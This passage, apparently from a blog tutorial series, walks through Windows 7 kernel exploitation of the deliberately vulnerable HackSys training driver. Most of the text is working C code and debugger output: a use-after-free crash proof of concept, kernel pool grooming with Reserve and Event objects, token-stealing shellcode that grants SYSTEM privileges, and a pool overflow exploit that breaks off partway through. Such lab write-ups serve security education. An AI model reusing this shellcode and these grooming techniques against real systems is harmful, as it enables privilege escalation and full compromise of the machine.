With special pool enabled, we can create a simple crash proof of concept for
the vulnerability. The below code will create the UAF object, free it and then
cause it to be referenced. If the driver does reference the free'd memory this
should trigger a blue screen due to special pools debugging features.

[code]

    #include "stdafx.h"
    #include <Windows.h>
    
    #define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT                 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    
    int _tmain(int argc, _TCHAR* argv[])  
    {
        DWORD dwBytesReturned;
        LPCWSTR lpDeviceName = TEXT("\\\\.\\HackSysExtremeVulnerableDriver");
    
        printf("Getting the device handle\r\n");
        //HANDLE WINAPI CreateFile( _In_ lpFileName, _In_ dwDesiredAccess, _In_ dwShareMode, _In_opt_ lpSecurityAttributes,
        //_In_ dwCreationDisposition, _In_ dwFlagsAndAttributes, _In_opt_ hTemplateFile );
        HANDLE hDriver = CreateFile(lpDeviceName,           //File name - in this case our device name
            GENERIC_READ | GENERIC_WRITE,                   //dwDesiredAccess - type of access to the file, can be read, write, both or neither. We want read and write because thats the permission the driver declares we need.
            FILE_SHARE_READ | FILE_SHARE_WRITE,             //dwShareMode - other processes can read and write to the driver while we're using it but not delete it - FILE_SHARE_DELETE would enable this.
            NULL,                                           //lpSecurityAttributes - Optional, security descriptor for the returned handle and declares whether inheriting processes can access it - unneeded for us.
            OPEN_EXISTING,                                  //dwCreationDisposition - what to do if the file/device doesn't exist, in this case only opens it if it already exists, returning an error if it doesn't.
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,   //dwFlagsAndAttributes - In this case the FILE_ATTRIBUTE_NORMAL means that the device has no special file attributes and FILE_FLAG_OVERLAPPED means that the device is being opened for async IO.
            NULL);                                          //hTemplateFile - Optional, only used when creating a new file - takes a handle to a template file which defineds various attributes for the file being created.
    
        if (hDriver == INVALID_HANDLE_VALUE) {
            printf("Failed to get device handle :( 0x%X\r\n", GetLastError());
            return 1;
        }
    
        printf("Got the device Handle: 0x%X\r\n", hDriver);
        DeviceIoControl(hDriver, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
    
        printf("UAF object created.\r\n");
    
        DeviceIoControl(hDriver, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
    
        printf("UAF object free'd.\r\n");
    
        DeviceIoControl(hDriver, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
    
        printf("UAF object used.\r\n");
        printf("Exploit complete, cleaning up\n");
        CloseHandle(hDriver);
        return 0;
    }
    
[/code]

Now compile and run it and...

<img src='img/Temp2_9874.png' width='648' height='458' />

Rebooting the system with a kernel debugger attached, re-enabling special pool
and re-running the PoC allows us to check the crash was caused by the free'd
memory being referenced.

<img src='img/Temp2_9891.png' width='668' height='218' />

The `!analyze -v` output immediately tells us that the crash is likely due to
free'd memory being referenced, looking further into the analyze output we can
see that the crashing instruction is the `push [eax]` instruction seen earlier
in the IOCTL which called the UAF objects callback function.

<img src='img/Temp2_9888.png' width='645' height='71' />

Examining the pool details of the memory address that the driver attempted to
access again confirms the memory has probably been previously free'd.

<img src='img/Temp2_9893.png' width='651' height='78' />

#### Turning it into an Exploit

With a crash in hand we need to replace the memory used by the object with
something which give us code execution when referenced instead. Normally we'd
have to hunt for an appropriate object and likely use a basic primitive to get
us into the position of having a more useful primitive we can use to escalate
our privileges. However luckily for us the HackSys Driver provides a function
which makes this much easier. The log message `******
HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT ******` precedes an exposed function
which does exactly what we need.

<img src='img/Temp2_9890.png' width='568' height='145' />

Looking at the functions implementation, we can see it allocates 0x58 bytes of
data and then checks the allocation was successful.

<img src='img/Temp2_9852.png' width='321' height='112' />

Once it's allocated the required memory, it copies data from the IOCTL input
buffer into it.

<img src='img/Temp2_9887.png' width='485' height='348' />

At 1 the pointer to the allocated memory is in ebx, at 2 it validates that it
is safe to read data from the input buffer and then at 3 it copies 0x16, 4
byte blocks from the input buffer into the newly allocated memory before
returning.

The fact that the fake allocated object is the same size as the one we can
free and cause to be referenced is the ideal scenario. By using the kernel
pool massaging techniques described earlier we can cause the fake object to be
allocated at the address the UAF object. By loading a pointer to some token
stealing shellcode at the start of the fake object, we can then trigger the
Use UAF object IOCTL code handler to make the driver execute our payload.

As the UAF object isn't 0x40 bytes like the Event object I used in the pool
fengshui example, we'll use Reserve objects instead, as we found out earlier
these are 0x60 bytes in memory which matches the UAF object of 0x58 bytes when
you include the 8 byte `POOL_HEADER`. First of all we'll need to add the
following headers.

[code]

    //from https://www.nirsoft.net/kernel_struct/vista/UNICODE_STRING.html
    typedef struct _UNICODE_STRING  
    {
        WORD Length;
        WORD MaximumLength;
        WORD * Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    
    //from https://www.nirsoft.net/kernel_struct/vista/OBJECT_ATTRIBUTES.html
    typedef struct _OBJECT_ATTRIBUTES  
    {
        ULONG Length;
        PVOID RootDirectory;
        PUNICODE_STRING ObjectName;
        ULONG Attributes;
        PVOID SecurityDescriptor;
        PVOID SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
    
    //from https://github.com/JeremyFetiveau/Exploits/blob/master/MS10-058.cpp
    #define IOCO 1
    typedef NTSTATUS(__stdcall *NtAllocateReserveObject_t) (OUT PHANDLE hObject, IN POBJECT_ATTRIBUTES ObjectAttributes, IN DWORD ObjectType);  
    
[/code]

Next we add the following code to carry out the actual pool fengshui, this
will fill any existing free 0x60 byte regions and then create a pattern of
allocated and free 0x60 byte blocks.

[code]

    HANDLE hReserveObjectsDefrag[10000] = { 0x0 };  
    HANDLE hReserveObjectsPoolGroom[5000] = { 0x0 };
    
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    
    if (hModule == NULL) {  
        printf("Couldn't load ntdll, how is computer running? : 0x%X\n", GetLastError());
        return 1;
    }
    
    NtAllocateReserveObject_t NtAllocateReserveObject = (NtAllocateReserveObject_t) GetProcAddress(hModule, "NtAllocateReserveObject");
    
    if (NtAllocateReserveObject == NULL) {  
        printf("Couldn't get a reference to NtAllocateReserveObject in ntdll?!: 0x%X\n", GetLastError());
        return 1;
    }
    
    for (unsigned int i = 0; i < 0x1000; i++) {  
        NTSTATUS status = NtAllocateReserveObject(&hReserveObjectsDefrag[i], 0, IOCO);
    
        if (status != 0) {
            printf("Failed to allocate defrag reserve object 0x%X: 0x%X\n", i, GetLastError());
            return 1;
        }
    }
    
    for (unsigned int i = 0; i < 0x500; i++) {  
        NTSTATUS status = NtAllocateReserveObject(&hReserveObjectsPoolGroom[i], 0, IOCO);
    
        if (status != 0) {
            printf("Failed to allocate pool groom reserve object 0x%X: 0x%X\n", i, GetLastError());
            return 1;
        }
    }
    
    for (unsigned int i = 1; i < 0x500; i += 2) {  
        if (!CloseHandle(hReserveObjectsPoolGroom[i])) {
            printf("Failed to free reserve object needed for pool hole punching 0x%X: 0x%X\n", i, GetLastError());
            return 1;
        }
    }
    
[/code]

Now that we can force our fake object to be allocated where the UAF object was
previously located we need to craft our fake object. We start by adding the
token stealer used in the previous parts of this series to our user land code.

[code]

    // Windows 7 SP1 x86 Offsets
    #define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
    #define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
    #define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
    #define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
    #define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
    #define SYSTEM_PID        0x004    // SYSTEM Process PID
    
    VOID TokenStealingShellcodeWin7Generic() {  
        // No Need of Kernel Recovery as we are not corrupting anything
        __asm {
            ; initialize
            pushad; save registers state
    
            xor eax, eax; Set zero
            mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
    
            mov ecx, eax; Copy current _EPROCESS structure
    
            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
    
            SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
                sub eax, FLINK_OFFSET
                cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
                jne SearchSystemPID
    
                mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
                mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
                ; to current process
                popad; restore registers state
        }
    }
    
[/code]

Next lets get create our fake object, we know it needs to be 0x58 bytes with
the first four containing a function pointer, the rest of the bytes we don't
care about. By setting the function pointer as the address of our token
stealing shellcode it will be executed when the driver references our fake
object and triggers what it thinks is the original objects callback. This is
placed immediately after the `DeviceIOControl` call used to free the UAF
object.

[code]

    size_t nInBufferSize = 0x58;  
    PULONG lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);
    
    if (!lpInBuffer) {  
        printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());
        return 1;
    }
    printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);  
    printf("Input buffer address: 0x%p\r\n", lpInBuffer);
    
    printf("Filling buffer with A's.\r\n");  
    memset(lpInBuffer, 0x41, nInBufferSize);
    
    printf("Loading shellcode pointer into start of buffer.\r\n");  
    lpInBuffer[0] = (ULONG)&TokenStealingShellcodeWin7Generic;
    
    for (unsigned int i = 0; i < 0x250; i++) {  
        DeviceIoControl(hDriver, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT, lpInBuffer, 0, NULL, 0, &dwBytesReturned, NULL);
    }
    printf("0x250 fake object's allocated.\r\n");  
    
[/code]

I created 0x250 of the fake objects to fill all of the gaps we created
earlier. Additionally we need to define
`HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT` at the top of our file.

[code]

    #define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    
[/code]

Finally some cleanup code and a call to system to launch calc.exe fits at the
end of the code.

[code]

    printf("SYSTEM?!?!\r\n");  
    system("calc.exe");
    
    printf("Exploit complete, cleaning up\n");  
    for (unsigned int i = 0; i < 0x1000; i++) {  
        if (!CloseHandle(hReserveObjectsDefrag[i])) {
            printf("Failed to free reserve object defrag object 0x%X: 0x%X\r\n", i, GetLastError());
            return 1;
        }
    }
    for (unsigned int i = 0; i < 0x500; i += 2) {  
        if (!CloseHandle(hReserveObjectsPoolGroom[i])) {
            printf("Failed to free reserve object pool groom object 0x%X: 0x%X\r\n",i, GetLastError());
            return 1;
        }
    }
    HeapFree(GetProcessHeap(), 0, lpInBuffer);  
    CloseHandle(hDriver);  
    return 0;  
    
[/code]

Building and then running the code \(with special pool disabled\!\) gives us a
nice calculator running as SYSTEM.

<img src='img/Temp2_9870.png' width='891' height='328' />

The final/full code for the exploit is on Github.

#### HackSysTeam Extremely Vulnerable Driver Pool Overflow

The IOCTL code to trigger the drivers pool overflow vulnerability is pretty
easy to find, the function call immediately after `******
HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******` is logged is the obvious target..

<img src='img/Temp2_9892.png' width='568' height='144' />

Looking into the handler function we can see that it makes a pool allocation
on the Nonpaged pool \(`edi` is xor'd with itself at the start of the
function\), of size `0x1F8` bytes.  
<img src='img/Temp2_9853.png' width='322' height='126' /> If the allocation
was successful the handler then copies data from the user supplied buffer into
the pool. However the amount of data copied is controlled by the size provided
in the IOCTL.  
<img src='img/Temp2_9862.png' width='532' height='262' />

This means that if a caller provides a length greater than `0x1F8` bytes, an
out of bounds write will happen, which could also be called a pool overflow.
Again we'll enabled special pool to make triggering the vulnerability easier.

[code]

    verifier /volatile /flags 0x1 /adddriver HackSysExtremeVulnerableDriver.sys  
    
[/code]

The below code will provide an IOCTL request which will write 4 bytes past the
end of the pool allocation, this should cause it to access a page marked as
inaccessible and blue screen the system.

[code]

    #include "stdafx.h"
    #include <Windows.h>
    
    #define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    
    int _tmain(int argc, _TCHAR* argv[])  
    {
        DWORD lpBytesReturned;
        LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";
    
        printf("Getting the device handle\r\n");
        //HANDLE WINAPI CreateFile( _In_ lpFileName, _In_ dwDesiredAccess, _In_ dwShareMode, _In_opt_ lpSecurityAttributes,
        //_In_ dwCreationDisposition, _In_ dwFlagsAndAttributes, _In_opt_ hTemplateFile );
        HANDLE hDriver = CreateFile(lpDeviceName,           //File name - in this case our device name
            GENERIC_READ | GENERIC_WRITE,                   //dwDesiredAccess - type of access to the file, can be read, write, both or neither. We want read and write because thats the permission the driver declares we need.
            FILE_SHARE_READ | FILE_SHARE_WRITE,             //dwShareMode - other processes can read and write to the driver while we're using it but not delete it - FILE_SHARE_DELETE would enable this.
            NULL,                                           //lpSecurityAttributes - Optional, security descriptor for the returned handle and declares whether inheriting processes can access it - unneeded for us.
            OPEN_EXISTING,                                  //dwCreationDisposition - what to do if the file/device doesn't exist, in this case only opens it if it already exists, returning an error if it doesn't.
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,   //dwFlagsAndAttributes - In this case the FILE_ATTRIBUTE_NORMAL means that the device has no special file attributes and FILE_FLAG_OVERLAPPED means that the device is being opened for async IO.
            NULL);                                          //hTemplateFile - Optional, only used when creating a new file - takes a handle to a template file which defineds various attributes for the file being created.
    
        if (hDriver == INVALID_HANDLE_VALUE) {
            printf("Failed to get device handle :( 0x%X\r\n", GetLastError());
            return 1;
        }
            printf("Got the device Handle: 0x%X\r\n", hDriver);
    
        size_t nInBufferSize = 0x00000200;
        PULONG lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);
    
        if (!lpInBuffer) {
            printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());
            return 1;
        }
    
        printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);
        printf("Input buffer address: 0x%p\r\n", lpInBuffer);
    
        printf("Filling buffer.\r\n");
    
        memset(lpInBuffer, 0x41, nInBufferSize);
    
        DeviceIoControl(hDriver,
            HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
            lpInBuffer,
            nInBufferSize,
            NULL, 
            0,
            &lpBytesReturned,
            NULL); 
    
        CloseHandle(hDriver);
        return 0;
    }
    
[/code]

Compiling and then running it, we get just what we wanted.

<img src='img/Temp2_9855.png' width='642' height='444' />

Debugging the crash we can see that the driver has attempted to write beyond
the end of an allocation, as expected.

<img src='img/Temp2_9859.png' width='650' height='221' />

Looking at the details of the crash we can see that it crashed at the `rep
movs` instruction we saw earlier in the `HACKSYS_EVD_IOCTL_POOL_OVERFLOW`
handler.

<img src='img/Temp2_9857.png' width='625' height='91' />

Inspecting the corrupted memory address we see a series of `0x41` bytes
followed by inaccessible memory, just as expected.

<img src='img/Temp2_9889.png' width='377' height='125' />

##### Pool Overflow Pool Fengshui

As with the UAF exploit, we need to be able to ensure that our memory is
correctly located when it's allocated. In this case we want to make sure that
another object is immediately following it in memory. This time our allocated
memory is 0x200 bytes in size \(0x1F8 + an 8 byte header\), the Reserve object
allocations had a size of 60 bytes in total which is too small and cleanly
divide the amount we want making it impractical, however the Event objects we
looked at earlier at 0x40 byte allocations. This cleaning divides are
allocation into 8 which is ideal.

In order to groom the heap this time we'll again defragment it using Event
objects, then we'll allocate a large number of contiguous Event objects and
free them in blocks of eight. This should leave us with a pattern of 200 bytes
of allocated and then allocated non-paged pool memory. The code below carries
out the pool grooming before triggering a debugger break so that we can check
it has worked.

[code]

    #include "stdafx.h"
    #include <Windows.h>
    
    int _tmain(int argc, _TCHAR* argv[])  
    {
        HANDLE hDefragEvents[0x10000];
        HANDLE hPoolGroomEvents[0x1000];
    
        for (unsigned int i = 0; i < 0x10000; i++) {
            HANDLE hEvent = CreateEvent(NULL, false, false, TEXT(""));
            if (hEvent == NULL) {
                printf("Failed to create defrag event 0x%X: 0x%X\r\n", i, GetLastError());
                return 1;
            }
            hDefragEvents[i] = hEvent;
        }
    
        printf("Pool defrag'd\r\n");
    
        for (unsigned int i = 0; i < 0x1000; i++) {
            HANDLE hEvent = CreateEvent(NULL, false, false, TEXT(""));
            if (hEvent == NULL) {
                printf("Failed to create groom event 0x%X: 0x%X\r\n", i, GetLastError());
                return 1;
            }
            hPoolGroomEvents[i] = hEvent;
        }
    
        printf("Grooming phase 1 complete - contiguous events allocated.\r\n");
    
        for (unsigned int i = 0; i < 0x1000; i += 0x10) {
            for (unsigned int j = 0; j < 8; j++) {
                HANDLE hEvent = hPoolGroomEvents[i + j];
                if (!CloseHandle(hEvent)) {
                    printf("Failed to punch hole with event object 0x%X: 0x%X\r\n", hEvent, GetLastError());
                    return 1;
                }
            }
        }
    
        printf("Grooming complete - pool full o'holes\r\n");
    
        printf("0x88th unfree'd handle: 0x%X\r\n", hPoolGroomEvents[0x88]);
    
        getchar();
        DebugBreak();
    
        for (unsigned int i = 0; i < 0x1000; i++) {
            HANDLE hEvent = hDefragEvents[i];
            if (!CloseHandle(hEvent)) {
                printf("Failed to remove defrag event object 0x%X: 0x%X\r\n", hEvent, GetLastError());
                return 1;
            }
        }
        for (unsigned int i = 8; i < 0x1000; i += 0x10) {
            for (unsigned int j = 0; j < 8; j++) {
                HANDLE hEvent = hPoolGroomEvents[i + j];
                if (!CloseHandle(hEvent)) {
                    printf("Failed to remove pool groom event object 0x%X: 0x%X\r\n", hEvent, GetLastError());
                    return 1;
                }
            }
        }
    
        CloseHandle(hDriver);
        return 0;
    }
    
[/code]

Once this has ran we can see the printed pointer value and then hit enter to
trigger the break point.

<img src='img/Temp2_9880.png' width='457' height='57' />

In the kernel debugger I dump the handle information to get the objects
details.

[code]

    kd> !handle 0x40448  
    ...
    40448: Object: 848c04f0  GrantedAccess: 001f0003 Entry: ab302890  
    Object: 848c04f0  Type: (843d3440) Event  
        ObjectHeader: 848c04d8 (new version)
            HandleCount: 1  PointerCount: 1
    
[/code]

Looking at the pool memory around the objects allocation we can see a nice
repeating pattern of 8 allocated event objects followed by 8 free event
objects, exactly as planned ^^

[code]

    848c00c0 size:   40 previous size:   40  (Allocated)  Even (Protected)  
     848c0100 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0140 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0180 size:   40 previous size:   40  (Free )  Even (Protected)
     848c01c0 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0200 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0240 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0280 size:   40 previous size:   40  (Free )  Even (Protected)
     848c02c0 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0300 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0340 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0380 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c03c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0400 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0440 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0480 size:   40 previous size:   40  (Allocated)  Even (Protected)
    *848c04c0 size:   40 previous size:   40  (Allocated) *Even (Protected)
            Pooltag Even : Event objects
     848c0500 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0540 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0580 size:   40 previous size:   40  (Free )  Even (Protected)
     848c05c0 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0600 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0640 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0680 size:   40 previous size:   40  (Free )  Even (Protected)
     848c06c0 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0700 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0740 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0780 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c07c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0800 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0840 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0880 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c08c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
     848c0900 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0940 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0980 size:   40 previous size:   40  (Free )  Even (Protected)
     848c09c0 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0a00 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0a40 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0a80 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0ac0 size:   40 previous size:   40  (Free )  Even (Protected)
     848c0b00 size:   40 previous size:   40  (Allocated)  Even (Protected)
    
[/code]

Now that we can trigger our overflow safe in the knowledge a 40 byte Event
object will follow the memory we control, we can start putting together
exploits.

##### Pool Overflow Exploitation Round 1

Now that we can reliably overwrite the header for an Event object, we need to
actually overwrite something. I'm going to use two different methods, one
which was originally discussed in Kernel Pool Exploitation on Windows 7 and
one which was discussed in Data-only Pwning Microsoft Windows Kernel:
Exploitation of Kernel Pool Overflows on Microsoft Windows 8.1. First of all
I'm going to use the Object Type index overwrite technique \(described in
Nikita's talk\) which is also how b33f and Ashfaq Ansari exploited this, if
you want a different/probably better take.

As explained in this Code Machine blog post, each object within kernel memory
on Windows consists of several structures as well as the object structure
itself. The first of the is the `POOL_HEADER` structure we've discussed
before. Here's an example for an Event object, we won't be corrupting this
structure this time so we'll re-use the values in our exploit to leave it
intact when we're overwriting another structure further along in memory.

[code]

    dt nt!_POOL_HEADER 846a0a40  
       + 0x000 PreviousSize : Pos 0, 9 Bits  => 0x40  
       + 0x000 PoolIndex : Pos 9, 7 Bits => 0x0
       + 0x002 BlockSize Pos 0, 9 Bits => 0x40
       + 0x002 PoolType : Pos 9, 7 Bits => 0x2 (Non-Paged Pool)
       + 0x000 Ulong1 : Uint4B => 0x04080040 (Just a union field)
       +0x004 PoolTag          : 0xee657645
       +0x004 AllocatorBackTraceIndex : 0x7645
       +0x006 PoolTagHash      : 0xee65
    
[/code]

Next there is one or more optional structures, which optional structures are
present can be found by looking at the last structure which appears before the
actual object, the `OBJECT_HEADER`. An example `OBJECT_HEADER` layout from an
Event object is shown below:

[code]

    dt nt!_OBJECT_HEADER 846a0a58  
       +0x000 PointerCount     : 0n1
       +0x004 HandleCount      : 0n1
       +0x004 NextToFree       : 0x00000001 Void
       +0x008 Lock             : _EX_PUSH_LOCK
       +0x00c TypeIndex        : 0xc ''
       +0x00d TraceFlags       : 0 ''
       +0x00e InfoMask         : 0x8 ''
       +0x00f Flags            : 0 ''
       +0x010 ObjectCreateInfo : 0x8595e540 _OBJECT_CREATE_INFORMATION
       +0x010 QuotaBlockCharged : 0x8595e540 Void
       +0x014 SecurityDescriptor : (null) 
       +0x018 Body             : _QUAD
    
[/code]

The InfoMask field only had bit 0x8 set which means the only optional
structure between the pool header and the object header is
`OBJECT_HEADER_QUOTA_INFO` as described in the Code Machine article. The
article also tells us it's size is 0x10 bytes, so we can view it in memory by
looking 0x10 bytes further back.

[code]

     dt nt!_OBJECT_HEADER_QUOTA_INFO 846a0a48 
       +0x000 PagedPoolCharge  : 0
       +0x004 NonPagedPoolCharge : 0x40
       +0x008 SecurityDescriptorCharge : 0
       +0x00c SecurityDescriptorQuotaBlock : (null)
    
[/code]

The `OBJECT_HEADER` structure is the one we'll be corrupting, so when we
overwrite this structure we'll use it's default values to leave it intact.

The `OBJECT_HEADER` structure contains object metadata for managing the
object, indicating optional headers, storing debug information etc. As
described in Nikita's slides this header includes the 'TypeIndex' field, this
is used as an index into the `ObTypeIndexTable` which is used to store
pointers to the `OBJECT_TYPE` structures which provide important details about
each object to the kernel. Looking at the `ObTypeIndexTable` in windbg we can
see the entries.

[code]

    dd nt!ObTypeIndexTable  
    82b46580  00000000 bad0b0b0 841338c8 84133800  
    82b46590  84133738 841334f0 841b8040 841b8f78  
    82b465a0  841b8eb0 841b8de8 841b8d20 841b8668  
    82b465b0  841bd440 841d9f78 841cd040 841c7418  
    
[/code]

Viewing entry 0xc as an `OBJECT_TYPE` structure gives us the following:

[code]

    dt nt!_OBJECT_TYPE poi(nt!ObTypeIndexTable + (4*0xc))  
       +0x000 TypeList         : _LIST_ENTRY [ 0x841bd440 - 0x841bd440 ]
       +0x008 Name             : _UNICODE_STRING "Event"
       +0x010 DefaultObject    : (null) 
       +0x014 Index            : 0xc ''
       +0x018 TotalNumberOfObjects : 0x6957
       +0x01c TotalNumberOfHandles : 0x69a6
       +0x020 HighWaterNumberOfObjects : 0x7477
       +0x024 HighWaterNumberOfHandles : 0x74d1
       +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
       +0x078 TypeLock         : _EX_PUSH_LOCK
       +0x07c Key              : 0x6e657645
       +0x080 CallbackList     : _LIST_ENTRY [ 0x841bd4c0 - 0x841bd4c0 ]
    
[/code]

So we definitely have the correct object type, but there's nothing that will
obviously give us code execution. Looking further into the structure we see
the TypeInfo field, examining this closer in windbg shows us a nice series of
function pointers.

[code]

    dt nt!_OBJECT_TYPE_INITIALIZER (poi(nt!ObTypeIndexTable + (4*0xc)) + 0x28)  
       +0x000 Length           : 0x50
       +0x002 ObjectTypeFlags  : 0 ''
       +0x002 CaseInsensitive  : 0y0
       +0x002 UnnamedObjectsOnly : 0y0
       +0x002 UseDefaultObject : 0y0
       +0x002 SecurityRequired : 0y0
       +0x002 MaintainHandleCount : 0y0
       +0x002 MaintainTypeList : 0y0
       +0x002 SupportsObjectCallbacks : 0y0
       +0x002 CacheAligned     : 0y0
       +0x004 ObjectTypeCode   : 2
       +0x008 InvalidAttributes : 0x100
       +0x00c GenericMapping   : _GENERIC_MAPPING
       +0x01c ValidAccessMask  : 0x1f0003
       +0x020 RetainAccess     : 0
       +0x024 PoolType         : 0 ( NonPagedPool )
       +0x028 DefaultPagedPoolCharge : 0
       +0x02c DefaultNonPagedPoolCharge : 0x40
       +0x030 DumpProcedure    : (null) 
       +0x034 OpenProcedure    : (null) 
       +0x038 CloseProcedure   : (null) 
       +0x03c DeleteProcedure  : (null) 
       +0x040 ParseProcedure   : (null) 
       +0x044 SecurityProcedure : 0x82c68936     long  nt!SeDefaultObjectMethod+0
       +0x048 QueryNameProcedure : (null) 
       +0x04c OkayToCloseProcedure : (null) 
    
[/code]

This means functions are being jumped to based on the structure. If we can
control one of these we should be able to get the kernel to execute shellcode
at an address of our choosing. Looking backwards you can see that the first
entry of the `ObTypeIndexTable` is a NULL pointer, so we overwrite the
TypeIndex field in the `OBJECT_HEADER` with 0 then the kernel should try to
read the function pointers from the NULL page when it tries to execute them.
As we're doing this on Windows 7 32 bit, we can allocate the NULL page and as
a consequence control where the kernels execution jumps to, allowing us to
escalating our privileges with the same shellcode I've used previously.

So now we want to overwrite the TypeIndex field, leaving every other field
between the end of our buffer and the Event object intact. We start by
increasing the size of the InBuffer we used before. An extra 0x28 bytes will
cover the `POOL_HEADER` \(0x8 bytes\), `OBJECT_HEADER_QUOTA_INFO` \(0x10
bytes\) and the `OBJECT_HEADER` up to and including TypeIndex \(0x10 bytes\).

[code]

    size_t nInBufferSize = 0x1F8 + 0x28;  
    
[/code]

First of all we overwrite the `POOL_HEADER` and `OBJECT_HEADER_QUOTA_INFO`
structures with their default values as we saw before.

[code]

    lpInBuffer[0x1F8 / 4] = 0x04080040;  
    //dt nt!_POOL_HEADER  
    //  + 0x000 PreviousSize : Pos 0, 9 Bits  => 0x40  
    //    + 0x000 PoolIndex : Pos 9, 7 Bits => 0x0
    //    + 0x002 BlockSize Pos 0, 9 Bits => 0x40
    //    + 0x002 PoolType : Pos 9, 7 Bits => 0x2 (Non-Paged Pool)
    //    + 0x000 Ulong1 : Uint4B => 0x04080040 (Just a union field)
    lpInBuffer[0x1FC / 4] = 0xee657645;  
    //    + 0x004 PoolTag : Uint4B=> 0xee657645 => 'Even'
    //    + 0x004 AllocatorBackTraceIndex : Uint2B => 0x7645
    //    + 0x006 PoolTagHash : Uint2B => 0xee65
    
    lpInBuffer[0x200 / 4] = 0x00000000;  
    // dt nt!_OBJECT_HEADER_QUOTA_INFO
    //    + 0x000 PagedPoolCharge  : Uint4B
    lpInBuffer[0x204 / 4] = 0x00000040;  
    //  + 0x004 NonPagedPoolCharge : Uint4B    
    lpInBuffer[0x208 / 4] = 0x00000000;  
    //  + 0x008 SecurityDescriptorCharge : Uint4B
    lpInBuffer[0x20C / 4] = 0x00000000;  
